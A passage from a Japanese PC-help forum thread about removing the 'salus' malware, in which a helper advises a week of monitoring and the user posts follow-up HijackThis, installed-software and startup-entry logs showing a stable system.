Windows Temp folder emptied: 23880 bytes
%systemroot%\sysnative\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files folder emptied: 0 bytes
RecycleBin emptied: 0 bytes

Total Files Cleaned = 426.00 mb

Unable to start System Restore Service. Error code 1084

OTL by OldTimer - Version 3.2.69.0 log created on 03292015_161244

Files\Folders moved on Reboot...
C:\Users\Tomohiko\AppData\Local\Temp\FXSAPIDebugLogFile.txt moved successfully.
C:\Users\Tomohiko\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat moved successfully.

PendingFileRenameOperations files...

Registry entries deleted on Reboot...
  • mari
  • 2015/03/29 (Sun) 16:18:41
あとは様子見ですね
処置後のOTLログも見せていただきました。
OTLでの掃除はできたようですね。

ではしばらく様子見に入りましょう。
そのまま普通にPCを使いながら1週間様子見して、そこでまたHJTとインストール情報ログと、CCで各タブのログを取り直して、それらを様子見中の状態報告とともにレスください。

ログには出なくても異常が続くことはありますし、逆にログには出ているのに異常が表面に現れないこともありますから、最後まで油断しないでおいてください
  • 悪代官
  • 2015/03/29 (Sun) 16:56:44
Re: salusの駆除をお助けください
ありがとうございます!!
引き通き様子を見まして、またご連絡をさせて頂きます!!
引き続き、何卒宜しくお願い致します!
  • mari
  • 2015/03/29 (Sun) 17:50:35
Re: salusの駆除をお助けください
おはようございます!
1週間程度、様子見をさせて頂きましたが
現状は安定しております。
早速ですが下記へ各ログを貼らせて頂きます。

<HJT>
Logfile of Trend Micro HijackThis v2.0.5
Scan saved at 8:32:11, on 2015/04/05
Platform: Windows 7 SP1 (WinNT 6.00.3505)
MSIE: Internet Explorer v11.0 (11.00.9600.17631)

FIREFOX: 36.0.4 (x86 ja)
Boot mode: Normal

Running processes:
D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamgui.exe
C:\Program Files (x86)\Common Files\Microsoft Shared\Ink\TabTip32.exe
C:\Program Files (x86)\NTTE\StartUpToolN\StartUpTool_e.exe
D:\Program Files (x86)\MagicDisc\MagicDisc.exe
D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe
D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe
D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe
C:\Program Files (x86)\XFastUSB\XFastUsb.exe
C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe
D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\CTJckCfg.exe
D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe
C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMonitor.exe
C:\Program Files (x86)\Canon\Quick Menu\CNQMMAIN.EXE
C:\Program Files (x86)\Canon\Quick Menu\CNQMUPDT.EXE
C:\Program Files (x86)\Canon\Quick Menu\CNQMSWCS.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Users\Tomohiko\Downloads\HijackThis.exe
C:\Windows\SysWOW64\DllHost.exe

F2 - REG:system.ini: UserInit=userinit.exe,
O1 - Hosts: 127.0.0.1 localhost
O1 - Hosts: ::1 localhost
O2 - BHO: Canon Easy-WebPrint EX BHO - {3785D0AD-BFFF-47F6-BF5B-A587C162FED9} - C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexbho.dll
O2 - BHO: Groove GFS Browser Helper - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - D:\PROGRA~1\MICROS~1\Office14\GROOVEEX.DLL
O2 - BHO: Microsoft アカウント サインイン ヘルパー - {9030D464-4C02-4ABF-8ECC-5164760863C6} - C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll
O2 - BHO: URLRedirectionBHO - {B4F3A835-0E21-4959-BA22-42B3008E02FF} - D:\PROGRA~1\MICROS~1\Office14\URLREDIR.DLL
O3 - Toolbar: Canon Easy-WebPrint EX - {759D9886-0C6F-4498-BAB6-4A5F47C6C72F} - C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexhlp.dll
O4 - HKLM\..\Run: [UpdReg] C:\Windows\UpdReg.EXE
O4 - HKLM\..\Run: [Sound Blaster Recon3Di Control Panel] "D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe" /r
O4 - HKLM\..\Run: [SwitchBoard] C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe
O4 - HKLM\..\Run: [AdobeCS6ServiceManager] "C:\Program Files (x86)\Common Files\Adobe\CS6ServiceManager\CS6ServiceManager.exe" -launchedbylogin
O4 - HKLM\..\Run: [UpdateP2GoShortCut] "D:\Program Files (x86)\CyberLink\Power2Go\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\Power2Go" UpdateWithCreateOnce "SOFTWARE\CyberLink\Power2Go\6.0"
O4 - HKLM\..\Run: [UpdatePPShortCut] "D:\Program Files (x86)\CyberLink\PowerProducer\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\PowerProducer" UpdateWithCreateOnce "Software\CyberLink\PowerProducer\5.0"
O4 - HKLM\..\Run: [DivXMediaServer] C:\Program Files (x86)\DivX\DivX Media Server\DivXMediaServer.exe
O4 - HKLM\..\Run: [CLMLServer_For_P2G8] "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe"
O4 - HKLM\..\Run: [CLVirtualDrive] "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\VirtualDrive.exe" /R
O4 - HKLM\..\Run: [Sound Blaster EVO Control Panel] "D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe" /r
O4 - HKLM\..\Run: [APSDaemon] "C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe"
O4 - HKLM\..\Run: [XFastUSB] "C:\Program Files (x86)\XFastUSB\XFastUsb.exe"
O4 - HKLM\..\Run: [QuickTime Task] "D:\Program Files (x86)\QuickTime\QTTask.exe" -atboottime
O4 - HKLM\..\Run: [DivXUpdate] "C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe" /CHECKNOW
O4 - HKLM\..\Run: [NTTE_OSA_AUS] "C:\Program Files (x86)\NTTE\OSA_Aus\acs.exe" -silent
O4 - HKLM\..\Run: [PowerDVD14Agent] "D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe"
O4 - HKLM\..\Run: [CanonQuickMenu] C:\Program Files (x86)\Canon\Quick Menu\CNQMMAIN.EXE /logon
O4 - HKLM\..\Run: [CSPTL-CANONMJ] C:\Program Files (x86)\CMJ\CSPTL-CANONMJ\CSPTL-CANONMJ.exe
O4 - HKCU\..\Run: [Power2GoExpress8] NA
O4 - HKCU\..\Run: [CCleaner Monitoring] "C:\Program Files\CCleaner\CCleaner64.exe" /MONITOR
O4 - HKCU\..\RunOnce: [RunCanonMsetUp] C:\Program Files (x86)\Canon\IJ_MSetup4\MCDCHK2.EXE
O4 - HKUS\S-1-5-19\..\Run: [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-19\..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (User 'LOCAL SERVICE')
O4 - HKUS\S-1-5-20\..\Run: [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun (User 'NETWORK SERVICE')
O4 - HKUS\S-1-5-20\..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (User 'NETWORK SERVICE')
O4 - Startup: MagicDisc.lnk = D:\Program Files (x86)\MagicDisc\MagicDisc.exe
O4 - Global Startup: スタートアップツール.lnk = ?
O8 - Extra context menu item: Area61ダウンローダーで動画取得 - D:\Program Files (x86)\Area61\Downloader\menuext.html
O9 - Extra button: 故障かな?と思ったら・・・ - {6CB1FA39-5745-4733-859F-E9C82A68F848} - C:\Program Files (x86)\NTTE\OSA_SupportTool\start_e.exe
O9 - Extra button: Area61ダウンローダーで動画取得 - {619695BC-A811-4A9D-8CDF-BA8C795F2600} - D:\Program Files (x86)\Area61\Downloader\toolbar.html (HKCU)
O10 - Unknown file in Winsock LSP: c:\program files (x86)\common files\microsoft shared\windows live\wlidnsp.dll
O10 - Unknown file in Winsock LSP: c:\program files (x86)\common files\microsoft shared\windows live\wlidnsp.dll
O11 - Options group: [ACCELERATED_GRAPHICS] Accelerated graphics
O15 - ESC Trusted Zone: http://*.update.microsoft.com
O16 - DPF: {53F4962A-8E27-4601-8B01-79A82B4D7FC9} (LoadPrg Class) - https://member.gungho.jp/front/ec/iframe/LoadPrgAx.CAB
O16 - DPF: {D4B68B83-8710-488B-A692-D74B50BA558E} (Creative Software AutoUpdate Support Package 2) - http://ccfiles.creative.com/Web/softwareupdate/ocx/15113/CTPIDPDE.cab
O16 - DPF: {F6ACF75C-C32C-447B-9BEF-46B766368D29} (Creative Software AutoUpdate Support Package) - http://ccfiles.creative.com/Web/softwareupdate/ocx/130321/CTPID.cab
O18 - Protocol: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\PROGRA~2\COMMON~1\Skype\SKYPE4~1.DLL
O18 - Filter hijack: text/xml - {807573E5-5146-11D5-A672-00B0D022E945} - C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\MSOXMLMF.DLL
O23 - Service: Adobe Flash Player Update Service (AdobeFlashPlayerUpdateSvc) - Adobe Systems Incorporated - C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe
O23 - Service: @%SystemRoot%\system32\Alg.exe,-112 (ALG) - Unknown owner - C:\Windows\System32\alg.exe (file missing)
O23 - Service: Apple Mobile Device Service - Apple Inc. - C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
O23 - Service: Bonjour サービス (Bonjour Service) - Apple Inc. - C:\Program Files\Bonjour\mDNSResponder.exe
O23 - Service: Bluetoothスイッチャーサービス (BtSwitcherService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\BtSwitcherService.exe
O23 - Service: cFosSpeed System Service (cFosSpeedS) - cFos Software GmbH - D:\Program Files\ASRock\XFast LAN\spd.exe
O23 - Service: Creative ALchemy AL6 Licensing Service - Creative Labs - C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\AL6Licensing.exe
O23 - Service: Creative Audio Engine Licensing Service - Creative Labs - C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\CTAELicensing.exe
O23 - Service: CSPTL-CANONMJService - キヤノンマーケティングジャパン株式会社 - C:\Program Files (x86)\CMJ\CSPTL-CANONMJ\CSPTL-CANONMJService.exe
O23 - Service: CSR Bluetoothオーディオサービス (CSRBtAudioService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtAudioService.exe
O23 - Service: CSR OBEX Service (CsrBtOBEXService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtOBEXService.exe
O23 - Service: CSR Bluetooth サービス (CsrBtService) - Cambridge Silicon Radio Limited - D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtService.exe
O23 - Service: Creative Audio Service (CTAudSvcService) - Creative Technology Ltd - C:\Program Files (x86)\Creative\Shared Files\CTAudSvc.exe
O23 - Service: SB Recon3D Service (CtHdaSvc) - Creative Technology Ltd - C:\Windows\sysWow64\CtHdaSvc.exe
O23 - Service: @%SystemRoot%\system32\efssvc.dll,-100 (EFS) - Unknown owner - C:\Windows\System32\lsass.exe (file missing)
O23 - Service: @%systemroot%\system32\fxsresm.dll,-118 (Fax) - Unknown owner - C:\Windows\system32\fxssvc.exe (file missing)
O23 - Service: Futuremark SystemInfo Service - Futuremark Corporation - C:\Program Files (x86)\Futuremark\Futuremark SystemInfo\FMSISvc.exe
O23 - Service: Google Update サービス (gupdate) (gupdate) - Google Inc. - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
O23 - Service: Google Update サービス (gupdatem) (gupdatem) - Google Inc. - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
O23 - Service: Router Centered (hypixyje) - Unknown owner - C:\Users\Tomohiko\AppData\Roaming\03000200-1426280320-0500-0006-000700080009\nss201B.tmp (file missing)
O23 - Service: @%SystemRoot%\system32\ieetwcollectorres.dll,-1000 (IEEtwCollectorService) - Unknown owner - C:\Windows\system32\IEEtwCollector.exe (file missing)
O23 - Service: Canon インクジェットプリンタ/スキャナ/ファクス使用状況調査プログラム (IJPLMSVC) - Unknown owner - C:\Program Files (x86)\Canon\IJPLM\IJPLMSVC.EXE
O23 - Service: iPod サービス (iPod Service) - Apple Inc. - C:\Program Files\iPod\bin\iPodService.exe
O23 - Service: @keyiso.dll,-100 (KeyIso) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: Logitech Bluetooth Service (LBTServ) - Logitech, Inc. - C:\Program Files\Common Files\LogiShrd\Bluetooth\lbtserv.exe
O23 - Service: LiveUpdate (LiveUpdateSvc) - IObit - C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
O23 - Service: MBAMScheduler - Malwarebytes Corporation - D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamscheduler.exe
O23 - Service: MBAMService - Malwarebytes Corporation - D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamservice.exe
O23 - Service: Mozilla Maintenance Service (MozillaMaintenance) - Mozilla Foundation - C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
O23 - Service: @comres.dll,-2797 (MSDTC) - Unknown owner - C:\Windows\System32\msdtc.exe (file missing)
O23 - Service: @%SystemRoot%\System32\netlogon.dll,-102 (Netlogon) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: nProtect GameGuard Service (npggsvc) - Unknown owner - C:\Windows\system32\GameMon.des.exe (file missing)
O23 - Service: NVIDIA Display Driver Service (nvsvc) - Unknown owner - C:\Windows\system32\nvvsvc.exe (file missing)
O23 - Service: NVIDIA WMI Provider (NVWMI) - Unknown owner - C:\Windows\system32\nvwmi64.exe (file missing)
O23 - Service: @%systemroot%\system32\psbase.dll,-300 (ProtectedStorage) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: Cyberlink RichVideo Service(CRVS) (RichVideo) - Unknown owner - C:\Program Files (x86)\CyberLink\Shared files\RichVideo.exe
O23 - Service: @%systemroot%\system32\Locator.exe,-2 (RpcLocator) - Unknown owner - C:\Windows\system32\locator.exe (file missing)
O23 - Service: @%SystemRoot%\system32\samsrv.dll,-1 (SamSs) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: @%SystemRoot%\system32\snmptrap.exe,-3 (SNMPTRAP) - Unknown owner - C:\Windows\System32\snmptrap.exe (file missing)
O23 - Service: @%systemroot%\system32\spoolsv.exe,-1 (Spooler) - Unknown owner - C:\Windows\System32\spoolsv.exe (file missing)
O23 - Service: @%SystemRoot%\system32\sppsvc.exe,-101 (sppsvc) - Unknown owner - C:\Windows\system32\sppsvc.exe (file missing)
O23 - Service: NVIDIA Stereoscopic 3D Driver Service (Stereo Service) - NVIDIA Corporation - C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe
O23 - Service: SwitchBoard - Adobe Systems Incorporated - C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe
O23 - Service: @%SystemRoot%\system32\ui0detect.exe,-101 (UI0Detect) - Unknown owner - C:\Windows\system32\UI0Detect.exe (file missing)
O23 - Service: @%SystemRoot%\system32\vaultsvc.dll,-1003 (VaultSvc) - Unknown owner - C:\Windows\system32\lsass.exe (file missing)
O23 - Service: @%SystemRoot%\system32\vds.exe,-100 (vds) - Unknown owner - C:\Windows\System32\vds.exe (file missing)
O23 - Service: @%systemroot%\system32\vssvc.exe,-102 (VSS) - Unknown owner - C:\Windows\system32\vssvc.exe (file missing)
O23 - Service: Memory Key Series (vutyweki) - Unknown owner - C:\Users\Tomohiko\AppData\Roaming\03000200-1426280320-0500-0006-000700080009\jnsq740B.tmp (file missing)
O23 - Service: @%systemroot%\system32\wbengine.exe,-104 (wbengine) - Unknown owner - C:\Windows\system32\wbengine.exe (file missing)
O23 - Service: @%Systemroot%\system32\wbem\wmiapsrv.exe,-110 (wmiApSrv) - Unknown owner - C:\Windows\system32\wbem\WmiApSrv.exe (file missing)
O23 - Service: @%PROGRAMFILES%\Windows Media Player\wmpnetwk.exe,-101 (WMPNetworkSvc) - Unknown owner - C:\Program Files (x86)\Windows Media Player\wmpnetwk.exe (file missing)

--
End of file - 13896 bytes
  • mari
  • 2015/04/05 (Sun) 08:38:12
Re: salusの駆除をお助けください
<インストール>
3DMark Futuremark 2013/05/25 1.1
3DMark 11 Futuremark Corporation 2013/03/23 1.0.4
3DMark Vantage Futuremark Corporation 2013/03/23 1.1.0
Adobe AIR Adobe Systems Incorporated 2015/03/29 3.1.0.4880
Adobe Creative Suite 6 Production Premium Adobe Systems Incorporated 2015/03/29 3.57 GB 6
Adobe Flash Player 17 ActiveX Adobe Systems Incorporated 2015/03/29 6.00 MB 17.0.0.134
Adobe Flash Player 17 NPAPI Adobe Systems Incorporated 2015/03/29 6.00 MB 17.0.0.134
Adobe Help Manager Adobe Systems Incorporated 2015/03/29 4.0.244
Apple Application Support(32 ビット) Apple Inc. 2015/03/15 94.2 MB 3.1.2
Apple Application Support(64 ビット) Apple Inc. 2015/03/15 107 MB 3.1.2
Apple Mobile Device Support Apple Inc. 2015/03/15 27.9 MB 8.1.1.3
Apple Software Update Apple Inc. 2013/11/24 2.38 MB 2.1.3.127
Area61 ダウンローダー 8.2.1 Area61.NET 2015/04/03 33.2 MB
ASRock 3TB+ Unlocker v1.1 ASRock Inc. 2014/05/02 1.23 MB
ASRock App Charger v1.0.6 ASRock Inc. 2014/05/02 1.32 MB 1.0.6
ASRock eXtreme Tuner v0.1.382.1 2014/05/02 45.9 MB
ASRock InstantBoot v1.29 2014/05/02
ASRock XFast RAM v2.0.28 ASRock Inc. 2014/05/02 11.9 MB
Bonjour Apple Inc. 2013/11/24 2.00 MB 3.0.0.10
Broadcom NetLink Controller Broadcom Corporation 2015/03/15 508 KB 14.8.5.1
Canon Easy-WebPrint EX Canon Inc. 2015/04/04 1.5.0.0
Canon IJ Scan Utility Canon Inc. 2015/04/04 1.1.10.15
CANON iMAGE GATEWAY 無料会員登録 MG7500 series ‭Canon Inc. 2015/04/04
Canon MG7500 series MP Drivers Canon Inc. 2015/04/04 1.00
Canon MG7500 series On-screen Manual Canon Inc. 2015/04/04 7.7.0
Canon My Image Garden Canon Inc. 2015/04/04 3.1.1
Canon My Image Garden Design Files Canon Inc. 2015/04/04 3.1.0
Canon Quick Menu Canon Inc. 2015/04/04 2.5.0
Canon インクジェットプリンタ/スキャナ/ファクス使用状況調査プログラム Canon Inc. 2015/04/04 4.2.0
Canon マイ プリンタ Canon Inc. 2015/04/04 3.2.1
CCleaner Piriform 2015/03/21 5.03
CPUID ROG CPU-Z 1.63 CPUID, Inc. 2013/03/22 6.69 MB 1.63
Creative システム インフォメーション Creative Technology Limited 2015/03/29 1.10
CSR Harmony Wireless Software Stack CSR Plc. 2014/05/24 163 MB 2.1.63.0
CyberLink Power2Go 8 CyberLink Corp. 2013/06/29 324 MB 8.0.0.2126b
CyberLink PowerDVD 14 CyberLink Corp. 2015/03/29 439 MB 14.0.4223.58
CyberLink WaveEditor 2 CyberLink Corp. 2013/06/29 35.0 MB 2.0.0.3206
DivXセットアップ DivX, LLC 2015/03/29 2.7.0.31
DVD Decrypter (Remove Only) 2015/03/29
FINAL FANTASY XIV - A Realm Reborn SQUARE ENIX CO., LTD. 2013/08/17 1.0.0000
Futuremark SystemInfo Futuremark Corporation 2013/05/25 4.17.0
Google Chrome Google Inc. 2015/03/21 41.0.2272.118
Intel(R) Management Engine Components Intel Corporation 2013/03/20 7.1.21.1134
IObit Uninstaller IObit 2015/02/18 4.2.6.2
iTunes Apple Inc. 2015/03/15 234 MB 12.1.1.4
MagicDisc 2.7.106 2015/03/29
Malwarebytes Anti-Malware version 1.75.0.1300 Malwarebytes Corporation 2015/03/28 19.2 MB 1.75.0.1300
Microsoft .NET Framework 4.5.2 Microsoft Corporation 2015/01/25 38.8 MB 4.5.51209
Microsoft .NET Framework 4.5.2 (日本語) Microsoft Corporation 2015/01/31 2.93 MB 4.5.51209
Microsoft Office Professional Plus 2010 Microsoft Corporation 2015/03/29 14.0.7015.1000
Microsoft Security Essentials Microsoft Corporation 2015/02/28 4.7.205.0
Microsoft Visual C++ 2005 Redistributable Microsoft Corporation 2013/03/20 300 KB 8.0.59193
Microsoft Visual C++ 2005 Redistributable (x64) Microsoft Corporation 2013/04/13 572 KB 8.0.61000
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 Microsoft Corporation 2013/03/20 788 KB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 Microsoft Corporation 2013/03/20 788 KB 9.0.30729.6161
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 Microsoft Corporation 2013/03/31 240 KB 9.0.30729
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 Microsoft Corporation 2013/03/20 596 KB 9.0.30729.4148
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 Microsoft Corporation 2013/03/20 600 KB 9.0.30729.6161
Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 Microsoft Corporation 2015/02/28 13.8 MB 10.0.40219
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 Microsoft Corporation 2015/02/28 15.0 MB 10.0.40219
Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Microsoft Corporation 2015/02/28 10.0.50903
Microsoft Visual Studio 2010 Tools for Office Runtime (x64) Language Pack - 日本語 Microsoft Corporation 2015/02/28 10.0.50903
Mozilla Firefox 36.0.4 (x86 ja) Mozilla 2015/03/29 84.5 MB 36.0.4
Mozilla Maintenance Service Mozilla 2015/03/29 247 KB 36.0.4
MSXML 4.0 SP2 (KB954430) Microsoft Corporation 2013/09/01 1.27 MB 4.20.9870.0
MSXML 4.0 SP2 (KB973688) Microsoft Corporation 2013/09/01 1.33 MB 4.20.9876.0
NVIDIA 3D Vision コントローラー ドライバー 332.21 NVIDIA Corporation 2014/10/12 332.21
NVIDIA 3D Vision ドライバー 333.11 NVIDIA Corporation 2014/10/12 333.11
NVIDIA HD オーディオ ドライバー 1.3.30.1 NVIDIA Corporation 2014/10/12 1.3.30.1
NVIDIA nView 141.13 NVIDIA Corporation 2014/10/12 141.13
NVIDIA WMI 2.16.0 NVIDIA Corporation 2014/10/12 2.16.0
NVIDIA グラフィックス ドライバー 333.11 NVIDIA Corporation 2014/10/12 333.11
QuickTime 7 Apple Inc. 2014/05/22 70.2 MB 7.75.80.95
Sound Blaster EVO Zx/ZxR Creative Technology Limited 2013/10/27 92.6 MB 1.01.01
Sound Blaster EVO Zx/ZxR Extras Creative Technology Limited 2015/03/29 1.0
Sound Blaster Recon3Di Creative Technology Limited 2013/03/23 67.9 MB 1.00.17
Sound Blaster Recon3Di Extras Creative Technology Limited 2015/03/29 1.0
SoundEngine Free Coderium 2013/06/18 5.1.0.5
TI USB 3.0 Host Controller Driver 会社名 2013/03/20 1.03 MB 1.12.9.0
Windows Live Essentials Microsoft Corporation 2014/02/26 16.4.3522.0110
WinRAR アーカイバ 2015/03/29
XFast LAN v9.05 cFos Software GmbH, Bonn 2014/05/02 9.05
XFastUSB ASRock Inc. 2015/03/29 3.02.38
キヤノンお知らせメッセンジャー キヤノンマーケティングジャパン株式会社 2015/04/04 8.13 MB 2.0.3.0
スタートアップツール 東日本電信電話株式会社 2014/11/08 2.61 MB 7.3
リモートサポートツール 東日本電信電話株式会社 2014/11/08
ロジクール SetPoint 6.52 ロジクール 2013/03/20 39.0 MB 6.52.74
日本語 App Name Adobe Systems Incorporated 2015/03/29 1.8
診断復旧ツール 東日本電信電話株式会社 2014/11/08 23.2 MB
読取革命Lite パナソニック ソリューションテクノロジー株式会社 2015/04/04 24.7 MB 1.16.0000
  • mari
  • 2015/04/05 (Sun) 08:38:53
Re: salusの駆除をお助けください
<Windows>
有効 HKCU:Run AdobeBridge
有効 HKCU:Run ASRockXTU
有効 HKCU:Run CCleaner Monitoring Piriform Ltd "C:\Program Files\CCleaner\CCleaner64.exe" /MONITOR
有効 HKCU:Run Power2GoExpress8 NA
有効 HKCU:Run zASRockInstantBoot
有効 HKCU:RunOnce RunCanonMsetUp C:\Program Files (x86)\Canon\IJ_MSetup4\MCDCHK2.EXE
有効 HKLM:Run AdobeAAMUpdater-1.0 Adobe Systems Incorporated "C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe"
有効 HKLM:Run AdobeCS6ServiceManager Adobe Systems Incorporated "C:\Program Files (x86)\Common Files\Adobe\CS6ServiceManager\CS6ServiceManager.exe" -launchedbylogin
有効 HKLM:Run APSDaemon Apple Inc. "C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe"
有効 HKLM:Run CanonQuickMenu CANON INC. C:\Program Files (x86)\Canon\Quick Menu\CNQMMAIN.EXE /logon
有効 HKLM:Run CLMLServer_For_P2G8 CyberLink "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvc_P2G8.exe"
有効 HKLM:Run CLVirtualDrive CyberLink Corp. "D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\VirtualDrive.exe" /R
有効 HKLM:Run Creative SB Monitoring Utility Launcher RunDll32 SBAVMonL.dll,SBAVMonitorLauncher
有効 HKLM:Run CSPTL-CANONMJ キヤノンマーケティングジャパン株式会社 C:\Program Files (x86)\CMJ\CSPTL-CANONMJ\CSPTL-CANONMJ.exe
有効 HKLM:Run CsrAudioguiCtrl Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrAudioguiCtrl.exe
有効 HKLM:Run CSRHarmonySkypePlugin Cambridge Silicon Radio Limited C:\Program Files (x86)\CSR\CSR Harmony Wireless Software Stack\CSRHarmonySkypePlugin.exe
有効 HKLM:Run CsrHCRPServer Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrHCRPServer.exe
有効 HKLM:Run CsrSyncMLServer Cambridge Silicon Radio Ltd. D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrSyncMLServer.exe
有効 HKLM:Run DivXMediaServer DivX, LLC C:\Program Files (x86)\DivX\DivX Media Server\DivXMediaServer.exe
有効 HKLM:Run DivXUpdate DivX, LLC "C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe" /CHECKNOW
有効 HKLM:Run EvtMgr6 Logicool, Inc. C:\Program Files\Logicool\SetPointP\SetPoint.exe /launchGaming
有効 HKLM:Run HarmonyUserStartup Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\HarmonyUserStartup.exe
有効 HKLM:Run iTunesHelper Apple Inc. "C:\Program Files\iTunes\iTunesHelper.exe"
有効 HKLM:Run MSC Microsoft Corporation "C:\Program Files\Microsoft Security Client\msseces.exe" -hide -runkey
有効 HKLM:Run NTTE_OSA_AUS 東日本電信電話株式会社 "C:\Program Files (x86)\NTTE\OSA_Aus\acs.exe" -silent
有効 HKLM:Run nwiz NVIDIA Corporation C:\Program Files\NVIDIA Corporation\nview\nwiz.exe /installquiet
有効 HKLM:Run PowerDVD14Agent CyberLink Corp. "D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\PowerDVD14Agent.exe"
有効 HKLM:Run QuickTime Task Apple Inc. "D:\Program Files (x86)\QuickTime\QTTask.exe" -atboottime
有効 HKLM:Run Sound Blaster EVO Control Panel Creative Technology Ltd "D:\Program Files (x86)\Creative\Sound Blaster EVO\Sound Blaster EVO Control Panel\SBEVO.exe" /r
有効 HKLM:Run Sound Blaster Recon3Di Control Panel Creative Technology Ltd "D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\SBRcni.exe" /r
有効 HKLM:Run SwitchBoard Adobe Systems Incorporated C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe
有効 HKLM:Run TrayApplication Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\TrayApplication.exe
有効 HKLM:Run UpdateP2GoShortCut "D:\Program Files (x86)\CyberLink\Power2Go\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\Power2Go" UpdateWithCreateOnce "SOFTWARE\CyberLink\Power2Go\6.0"
有効 HKLM:Run UpdatePPShortCut "D:\Program Files (x86)\CyberLink\PowerProducer\MUITransfer\MUIStartMenu.exe" "D:\Program Files (x86)\CyberLink\PowerProducer" UpdateWithCreateOnce "Software\CyberLink\PowerProducer\5.0"
有効 HKLM:Run UpdReg Creative Technology Ltd. C:\Windows\UpdReg.EXE
有効 HKLM:Run vksts Cambridge Silicon Radio Limited D:\Program Files\CSR\CSR Harmony Wireless Software Stack\vksts.exe
